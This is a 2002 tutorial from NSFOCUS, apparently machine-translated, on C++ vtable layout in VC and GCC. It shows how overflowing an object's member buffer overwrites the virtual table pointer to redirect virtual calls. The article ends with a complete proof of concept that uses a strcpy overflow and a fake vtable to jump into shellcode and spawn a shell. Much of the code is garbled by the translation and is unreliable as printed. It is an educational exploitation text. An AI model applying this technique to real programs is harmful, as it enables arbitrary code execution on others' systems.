[Analysis] C ++ by overflow overwriting virtual function pointer list execution code

xiaoxiao2021-03-06  18

◆ C override the virtual function pointer list execution code

Author: watercloud

Home: http://www.nsfocus.com

Date: 2002-4-15

table of Contents:

1. Static connection and dynamic cable of C

2. Spatial organization and overflow test of objects in VC

3. Spatial organization and overflow test of objects in GCC

4. Reference

<1> C in the static connection and dynamic association of the function

A large magic weapon in C is a virtual function, simply, is a function of the Virtual keyword definition.

Its feature is to support dynamic keratocation. Now that large software developed by C is almost inseparable from virtual functions.

Use, a typical example is that the virtual function is one of the cornerstones of the MFC.

There are two concepts that need to be explained first:

Static connection: Popular point is to determine the address of the call target when the program is compiled.

Dynamic Edge: The program run phase determines the address of the call.

The usual function calls in C are static, but the virtual key is added if the function is defined.

Word, and when the function is called by a pointer or reference, then this is a dynamic connection.

A simple example:

// Test.cpp

#include

Class Classa

{

PUBLIC:

Int Num1;

Classa () {Num1 = 0xffff;};

Virtual Void Test1 (Void) {};

Virtual void test2 (void) {};

}

Classa Obja, * pobja;

Int main (void)

{

POBJA = & obja;

Obja.test1 ();

Obja.test2 ();

POBJA-> TEST1 ();

POBJA-> TEST2 ();

Return 0;

}

Compile with VC:

Opening a command line directly in the command line to compile: (if you don't choose a registration environment when you install VC

Variables, then run a vc directory in the command line Bin / vcvars32.bat)

CL Test.cpp / fa

Generate Test.asm intermediate assembly code

Let's take a look at what is magazine in ASM, it is a bit long, you have to be patient!

Let's take a look:

Data definition:

_BSS segment

? Obja @@ 3vclassa @@ a dq 01h dup (?); Obja 64-bit

POBJA @@ 3PavClassa @@ a dd 01h dup (?); Pobja an address 32 bit

_BSS Ends

See which contents have been put on the Obja for 64, then look at the constructor:

_this $ = -4

?? 0classa @@ qe @ xz proc near; Classa :: classa () defines a variable _this?!

File Test.cpp

LINE 6

Push EBP

MOV EBP, ESP

Push ECX

Mov DWORD PTR _THIS $ [EBP], ECX; ECX assignment to _this ?? Do not understand??

Mov Eax, DWORD PTR _THIS $ [EBP]

Mov DWORD PTR [EAX], OFFSET FLAT: ?? _ 7classa @@ 6b @

; Classa :: `vftable '

The front part is the compiler plus Dong, our assignment is here

Mov ECX, DWORD PTR _this $ [EBP]

MOV DWORD PTR [ECX 4], 65535; 0xffff Num1 = 0xfffff ;; It seems that _this 4 is the address of NUM1

Mov Eax, DWORD PTR _THIS $ [EBP]

MOV ESP, EBP

POP EBP

Ret 0

?? 0classa @@ qae @ xz endp

That _this and mov dword ptr _this $ [EBP], ECX is relatively depressed, don't hurry

The constructor is adjusted:

_ $ E9 Proc Near

File Test.cpp

Line 10

Push EBP

MOV EBP, ESP

MOV ECX, Offset Flat:? Obja @@ 3vclassa @@ a

Call ?? 0classa @@ qae @ xz; call classa :: classa ()

POP EBP

Ret 0

_ $ E9 ENDP

Look, ECX points to the address of Obja, by assigning the value, that _this is the start address of Obja, in fact, in the Class

The non-static method compiler will automatically add a THIS variable, and put ECX at the beginning of the function

Assign the value to him, point to the address of the object that calls the method.

So what is the two lines in the constructor?

Mov Eax, DWORD PTR _THIS $ [EBP]

Mov DWORD PTR [EAX], OFFSET FLAT: ?? _ 7classa @@ 6b @

; Classa :: `vftable '

We already know _this saved for object addresses: & obja. So eax = & obja

Then it is equivalent to (* eax) = offset flat: ?? _ 7classa @@ 6b @

Let's take a look ?? _7classa @@ 6b @ is on the trich:

Const segment

?? _ 7classa @@ 6b @

DD flat:? Test1 @ Classa @@ uaexxz; Classa :: `vftable '

DD flat:? Test2 @ Classa @@ uaexxz

Const ends

It seems that this is the entrance address of the TEST1 (), TEST2 () function! So this assignment:

Mov DWORD PTR [EAX], OFFSET FLAT: ?? _ 7classa @@ 6b @

; Classa :: `vftable '

That is to fill in the address of such an address list in the start address of the object.

Ok, so I have seen Obja's construct:

| Low address |

------ ---> Obja start address & obja

| PVFTABLE |

-------- -------------------------

| NUM1 | NUM1 Variable Space |

------ ---> Obja's end address -> ------------ Address table VFTABLE

| High Address | | Test1 () address |

------------

| TEST2 () address |

------------

Let's take a look at the main function:

_Main Proc Near

LINE 13

Push EBPMOV EBP, ESP

LINE 14

MOV DWORD PTR? POBJA @@ 3PavcLassa @@ a,

OFFSET FLAT:? Obja @@ 3vclassa @@ a; pobja = & obja

LINE 15

MOV ECX, Offset Flat:? Obja @@ 3vclassa @@ a; ECX = this pointer

Point to the address of the caller

Call? Test1 @ Classa @@ uaexxz; obja.test1 ()

Obja.test1 () directly calls, has already determined the address

LINE 16

MOV ECX, Offset Flat:? Obja @@ 3vclassa @@ a

Call? Test2 @ Classa @@ uaexxz; obja.test2 ()

LINE 17

MOV EAX, DWORD PTR? POBJA @@ 3PavClassa @@ a; Pobja

MOV EDX, DWORD PTR [EAX]; EDX = VFTABLE

MOV ECX, DWORD PTR? POBJA @@ 3pavclassa @@ a; Pobja

Call DWORD PTR [EDX];

Call vftable [0], pobja-> test1 () look at the address is dynamic lookup;)

LINE 18

MOV EAX, DWORD PTR? POBJA @@ 3PavClassa @@ a; Pobja

Mov EDX, DWORD PTR [EAX]

MOV ECX, DWORD PTR? POBJA @@ 3pavclassa @@ a; Pobja

Call DWORD PTR [EDX 4]; POBJA-> TEST2 ()

; Call Vftable [1] and the entrance address of TEST2 () in vftable [1]

Line 19

XOR EAX, EAX

LINE 20

POP EBP

Ret 0

_Main ENDP

Ok, I believe that you have already impressed the dynamic association here.

<2> Spatial Organization and Overflow Test of Objects in VC

Through the above analysis, we can summarize the object space organizations as follows:

| Low address |

-------- -> Obja start address & obja

| PVFTABLE | --------------------->

-------- |

| Each member variable | | |

-------- -> Obja's end address -> ------------ Address table VFTABLE

| High Address | | Download Function 1 Address |

------------

| The address of the virtual function 2 |

------------

|................

It can be seen that if we can overwrite the PVTable and construct a dynamic association of your own vFtable table, we can change the program process!

Now make an overflow test:

Write a program first to see

#include

Class Classex

{

}

Int buff [1];

Classex Obj1, Obj2, * Pobj;

Int main (void)

{

COUT << Buff << ":" << & obj1 << ":" << & obj2 << ":" << & potj << endl;

Return 0;

}

Compiling the CL compile operation:

0x00408998: 0x00408990: 0x00408991: 0x00408994

The compiler puts the buff's address!

Replace the program to change the program, replace it when the variable is defined:

Classex Obj1, Obj2, * Pobj;

Int buff [1];

The result is still the same !! Will not be VC is to prevent this!

It seems that it is not easy to cover it;)

Only overflow OBJ2 over Obj1

//ex_vc.cpppp

#include

Class Classex

{

PUBLIC:

Int buff [1];

Virtual void test (void) {cout << "classsex :: test ()" << endl;};

}

Void Entry (Void)

{

Cout << "why a u here?!" << endl;

}

Classex Obj1, Obj2, * Pobj;

Int main (void)

{

POBJ = & obj2;

Obj2.test ();

INT VTAB [1] = {(int) entry}; // Constructing VTAB,

// entry address of Entry

Obj1.buff [1] = (int) vtab; //obj1.buff[1] is the Pvftable domain of Obj2

// This modified the address of the function pointer to VTAB

POBJ-> Test ();

Return 0;

}

Compile CL EX_VC.cpp

operation result:

Classex :: test ()

Why a u here?!

Test environment: VC6

Look at us to modify the program execution process ^ _ ^

Usually we can use Virtaul when programmed, but if we use BC / VC, etc., and use the manufacturer

The library, in fact, we have used a lot of virtual functions, and write the program later, a variable that does not pay attention

The assignment may have endless problems. // Start pondering a multi-system zone is also written by VC, will not ....

<3> Spatial Organization and Overflow Test of Objects in GCC

Just now, we have already analyzed many details under VC, then we will see if there is anything in GCC.

The same! Like the analysis method, it is written Test.cpp with gcc -s test.cpp to compile assembled files.

Test.s then analyze Test.s We can get something on many details.

We can see by analyzing:

The object address space structure in the GCC is as follows:

| Low address |

-------------- object start address

| | |

| Member Variable Space |

| | |

-------------

| pvftable | -----------> ------------------ VFTABLE

------------- | 0 || High address | ------------------

| Xxxxxxxx |

----------------

| 0 |

---------------

| Virtual function 1 Entry address |

----------------

| 0 |

---------------

| Virtual function 2 entry address |

----------------

|................

Haha, you can see that there is a very big advantage under GCC, which is the member variable in Pvftable.

In front, if you overflow member variables, you can override PVFTABLE, more convenient than VC!

To write an overflow test program:

//test.cpp

#include

Class Classtest

{

PUBLIC:

Long buff [1]; // size is 1

Virtual Void Test (Void)

{

COUT << "Classtest Test () << endl;

}

}

Void Entry (Void)

{

Cout << "why are u here?!" << endl;

}

Int main (void)

{

Classtest a, * p = & a;

Long addr [] = {0, 0, 0, (long) entry}; // Build virtual function table

// Test () -> entry ()

A.BUFF [1] = (long) addr; // overflow, operate virtual function list pointer

A.Test (); // Static connection, no things

P-> Test (); // Dynamic cable, to our function table to find the address,

/ / The result is called a call function entry ()

}

Compilation: GCC Test.cpp -Lstdc

Results of the:

Bash-2.05 # ./a.out

Classtest Test ()

Why are u here?!

Test program description:

The specific thing is GCC -S Test.cpp to generate Test.s, there is such a paragraph behind:

.section .gnu.linkonce.d._vt $ 9Classtest, "AW", @ progbits

.p2align 2

.Type _VT $ 9CLASSTEST, @ Object

.size _VT $ 9CLASSTEST, 24

_VT $ 9CLASSTEST:

.value 0

.value 0

.long __tf9classtest

.value 0

.value 0

.long test__9classtest ----------

.zero 8 |

.comm __ti9classtest, 8,4 |

|

|

Test () address <----

This is the content in its virtual function.

Test () address in the third (long) address space

So we construct Addr []:

Long addr [] = {0,0,0, (long) entry};

The address of the test () function is entry ()

P-> Test () ran to our build address table to take the address of the entry to run

Test Environment FreeBSD 4.4

GCC 2.95.3

Come to a true test:

By overflowing the PVFTable, the period is pointed to one of our own

VFTable, and let Vftable virtual function addresses point to our SHELLCODE

Thereby getting a shell.

#include

#include

Class classbase // Define a basic class

{

PUBLIC:

Char buff [128];

Void setBuffer (Char * S)

{

STRCPY (BUFF, S);

}

Virtual Void PrintBuffer (Void) {}; // virtual function

}

Class Classa: Public ClassBase

{

PUBLIC:

Void PrintBuffer (Void)

{

Cout << "name: << buff << endl;

}

}

Class Classb: Public ClassBase

{

PUBLIC:

Void PrintBuffer (Void)

{

COUT << "The text:" << buff << endl;

}

}

Char buffer [512], * PC;

Long * PL = (long *) buffer;

Long addr = 0xbfbffabc; // is & b ^ _ * on my machine

Char shellcode [] = "1 / xc0ph // shh / bint [PPSS4; / XCD / X80";

INT I;

Int main (void)

{

Classa a;

Classb B;

Classbase * classbuff [2] = {& a, & b};

A.setBuffer ("Tom");

B.SetBuffer ("Hello! This Is World of C );

For (i = 0; I <2; i ) // C in the customary method,

// A pointer of a basic class pointing to the upper layer class

// uses a virtual function of high-level class

ClassBuff [I] -> PrintBuffer (); // This is normal usage

COUT << & a << ":" << & b << Endl; // & b is the value of the above ADDR,

// If you do two values ​​on your machine, change the addr value!

// Construct a special BUFF to give B.SetBuffer

// Construct a VFTable at the beginning

PL [0] = 0xAAAAAAAA; / / Fill 1

PL [1] = 0xAAAAAAAA; // Fill 2

PL [2] = 0xAaaaaaaa; // Fill 3

PL [3] = addr 16; // virtual function PrintBuffer entry address

// The location points to the shell code.

PC = Buffer 16;

STRCPY (PC, Shellcode);

PC = Strlen (shellcode);

For (; PC - Buffer <128; * pc = 'a'); // Fill

PL = (long *) PC;

* PL = addr; // Override Pvftable to point to the list B.setBuffer (buffer) of our constructed; // overflow.

// Again

For (i = 0; i <2; i )

ClassBuff [I] -> PrintBuffer (); // ClassBuffer [1] .printbuffer

// A shell is coming out.

Return 0;

}

Bash-2.05 $ ./a.out

Name: Tom

The text: Hello! This is World of C .

0xBFBFFB44: 0xBFBFFABC

Name:

$ ------ huh, success

Description:

Addr = & B is also & B.Buff [0]

B.setBuffer (buffer)

Just let B.Buff overflow, override 128 4 1 address.

The structure in the memory is as follows:

& b.buff [0] is also & b

^

|

|

[Fill 1 | Fill 2 | Fill 3 | Addr 16 | Shellcode | Fill | AddR | / 0]

____ ^ ___

| | | | |

| | | | |

| --- | |

| | | | |

-------------> 128 <-------------- |

|

This is the PVFTable item, which is overwritten to addR <---

Now the beginning of B.Buff [0] builds a virtual virtual

Function table, the entry address of the virtual function is the address of shellcode!

This article is just a guided text, there are still many

There is a detail mentioned, you need yourself to analyze.

As the saying goes, do yourself and eat food * _ &

reference

Phrack56 # << smashing c vPTRS >>

Personal foolish, watch the ax!

__watercloud__

(Watercloud@nsfocus.com)

2002-4-15

转载请注明原文地址:https://www.9cbs.com/read-40978.html

New Post(0)